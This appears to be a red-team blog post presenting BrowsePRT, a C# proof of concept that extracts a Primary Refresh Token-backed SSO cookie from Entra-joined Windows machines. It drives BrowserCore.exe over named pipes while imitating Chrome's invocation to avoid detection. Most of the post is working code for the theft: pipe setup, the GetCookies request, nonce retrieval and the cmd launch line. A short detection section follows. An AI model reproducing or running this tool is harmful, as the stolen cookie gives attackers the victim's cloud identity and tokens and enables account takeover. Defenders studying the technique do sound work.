Primary refresh token (PRT) is a device-bound token used for SSO on Entra-joined devices. Naturally, both authorized red teamers and threat actors, if able to gain access to one of these devices would benefit greatly from acquiring it. In a cloud-only environment, most likely it will be the only way of moving beyond a single machine. Subsequently, it is protected and stored in TPM-backed systems preventing direct retrieval even with administrative access [2].
That protection limits offline extraction of the associated keys, but it does not prevent an authenticated user session from requesting a PRT-backed browser SSO cookie through the normal browser integration. On Windows, Chrome’s Microsoft Single Sign-On extension communicates with the BrowserCore.exe native-messaging host. BrowserCore asks the CloudAP/WAM components for browser cookie information and returns an x-ms-RefreshTokenCredential cookie that serves as SSO credential and can be exchanged for any other refresh or access token.
At least two ways of accessing that cookie via browsercore were found:
- The direct approach of using browsercore [3]. Downsides of this approach are having arbitrary executable dropped on disk, process injection shenanigans if operating from a C2 and non-standard behaviour outlined by Dirkjan in his post under ‘monitoring’.
- The indirect approach of calling underlying library via COM object [4], [5]. Downside of this approach is abnormal COM cookie retrieval which is signatured by both Defender and Entra ID.
After evaluating OPSEC of existing tooling and their approaches, i decided to use the former given its simplicity. To improve stealthiness we just need to blend in with expected behaviour a bit more compared with ROADtoken.
Based on this approach, I wrote BrowsePRT, a C# proof of concept that invokes BrowserCore.exe through the same general cmd.exe and named-pipe mechanism used by Chrome.
Implementation
The idea is simple: mimic normal behaviour as much as possible.
Shortcomings of ROADtoken that were addressed:
- Named pipe communication
- Intermediate cmd invocation
Core server
Somewhat mimicking working components, we will define and use a separate Server object which will communicate with browsercore.exe via named pipes. That instance will contain Nonce, used for authentication flow initialization, PipeName passed to browsercore and instances of pipes.
From browsercore execution logs, pipe names conform to the following structure: chrome.nativeMessaging.{in/out}.XXXXXXXX where X - random hex value. We can thus put it into server constructor:
public Server()
{
byte[] bytes = new byte[8];
using (var rng = RandomNumberGenerator.Create())
{
rng.GetBytes(bytes);
}
PipeName = $"chrome.nativeMessaging.in.{BitConverter.ToString(bytes).Replace("-", "")}";
}
Next, pipes. I assumed that one instance will be sufficient given there is an ‘InOut’ PipeDirection mode, but cmd invocation string used to call browsercore contains redirections for both stdin and stdout which creates 2 pipe instances under the same name:
C:\Windows\system32\cmd.exe /d /c "C:\Windows\BrowserCore\BrowserCore.exe" chrome-extension://ppnbnpeolgkicgegkbkbjmhlideopiji/ --parent-window=0 < \\.\pipe\chrome.nativeMessaging.in.720bfd13d22dec77 > \\.\pipe\chrome.nativeMessaging.out.720bfd13d22dec77
Thus, we need 2 pipes. Direction doesn’t matter that much as long as it matches minimally required, so i left it at ‘InOut’:
stdinPipe = new NamedPipeServerStream(
PipeName,
PipeDirection.InOut,
maxNumberOfServerInstances: 2,
PipeTransmissionMode.Byte,
PipeOptions.Asynchronous);
stdoutPipe = new NamedPipeServerStream(
PipeName.Replace("in","out"),
PipeDirection.InOut,
maxNumberOfServerInstances: 2,
PipeTransmissionMode.Byte,
PipeOptions.Asynchronous);
Unfortunately, there is no way to know for certain which pipe will be used by cmd for which stream, but in my tests it always followed the command string syntax parsing so the stdin pipe was created first and stdout - second. While brittle, i went ahead with assigning them accordingly:
await stdinPipe.WaitForConnectionAsync();
System.Console.WriteLine("Got stdin connection");
await stdoutPipe.WaitForConnectionAsync();
System.Console.WriteLine("Got stdout connection");
As seen from the pipe names, it uses nativeMessaging protocol. That means UTF-8 JSON preceded with int32 message length. Knowing that, we can then kindly ask browsercore for the PRT-backed cookie:
System.Console.WriteLine("Requesting PRT");
string request = $"{{\"method\":\"GetCookies\",\"uri\":\"https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce={Nonce}\",\"sender\":\"https://login.microsoftonline.com\"}}";
byte[] requestBytes = Encoding.UTF8.GetBytes(request);
byte[] requestLength = BitConverter.GetBytes(requestBytes.Length);
await stdinPipe.WriteAsync(requestLength,0,requestLength.Length);
await stdinPipe.WriteAsync(requestBytes,0,requestBytes.Length);
await stdinPipe.FlushAsync();
Originally i wrote code in .NET 10 but realised it’s much better to use native .NET framework to reduce binary size. Unfortunately, .NET 4.8.1 does not have ‘ReadExactlyAsync’ method, so i had to create a small wrapper for safety:
private static async Task ReadExactlyAsync(Stream stream, byte[] buffer)
{
int offset = 0;
while (offset < buffer.Length)
{
int bytesRead = await stream.ReadAsync(buffer, offset, buffer.Length - offset);
if (bytesRead == 0)
throw new EndOfStreamException();
offset += bytesRead;
}
}
Now we can get the browsercore reply:
byte[] responseLengthBytes = new byte[4];
await ReadExactlyAsync(stdoutPipe,responseLengthBytes);
int responseLength = BitConverter.ToInt32(responseLengthBytes,0);
if (responseLength < 0) throw new InvalidDataException("The response length cannot be negative.");
byte[] responseBytes = new byte[responseLength];
await ReadExactlyAsync(stdoutPipe,responseBytes);
Console.Write(Encoding.UTF8.GetString(responseBytes));
Main program & helper
Hard part is done, now we just need to create a wrapper that will mimic normal call to browsercore, specifically, cmd command line shown above.
A nonce is required to initiate the PRT-backed request. ROADtoken relies on external roadlib to copy and paste that value, which is a bit inconvenient, so i’ve made a helper for that:
public static string RequestNonce()
{
string url = "https://login.microsoftonline.com/common/oauth2/token";
string payload = "grant_type=srv_challenge";
var content = new StringContent(payload, Encoding.UTF8, "application/x-www-form-urlencoded");
using (var req = new HttpClient())
{
var response = req.PostAsync(url, content).GetAwaiter().GetResult();
response.EnsureSuccessStatusCode();
var json = response.Content.ReadAsStringAsync().GetAwaiter().GetResult();
return JsonConvert.DeserializeObject<NonceResponse>(json).Nonce;
}
}
Now we just start the pipe-handling server and invoke browsercore:
static async Task Main(string[] args)
{
using (Process cmd = new Process())
{
using (var srv = new Server(Helper.RequestNonce()))
{
Task serverTask = srv.StartAsync();
cmd.StartInfo.FileName = "cmd.exe";
cmd.StartInfo.Arguments = $"/d /c \"{Helper.GetBrowserCoreFilepath()}\" < \\\\.\\pipe\\{srv.PipeName} > \\\\.\\pipe\\{srv.PipeName.Replace("in","out")}";
cmd.StartInfo.UseShellExecute = false;
cmd.Start();
await serverTask;
cmd.WaitForExit();
}
}
}
And inside x-ms-RefreshTokenCredential we get our PRT.
Detection
Although a bit more stealthy than ROADtoken, it is still an unsigned binary placed on disk. Ideally, environment is tied down with Application Control, and unsigned binaries are prevented from running. Knowing it probably won’t be the case, we can look for further OPSEC errors when deploying my solution:
- Default output name
BrowsePRT.exe - Non-standard execution path (chrome is normally placed in
C:\Program Files\Google\Chrome\Application) - Missing arguments (chrome-extension and parent-window)
Improvements and Future work
This project will benefit from parsing the browsercore answer to show the relevant PRT without additional information, but i was a bit lazy.
I’m also planning to check whether BOF-converted version will get flagged by Defender or not and potentially post an update on that.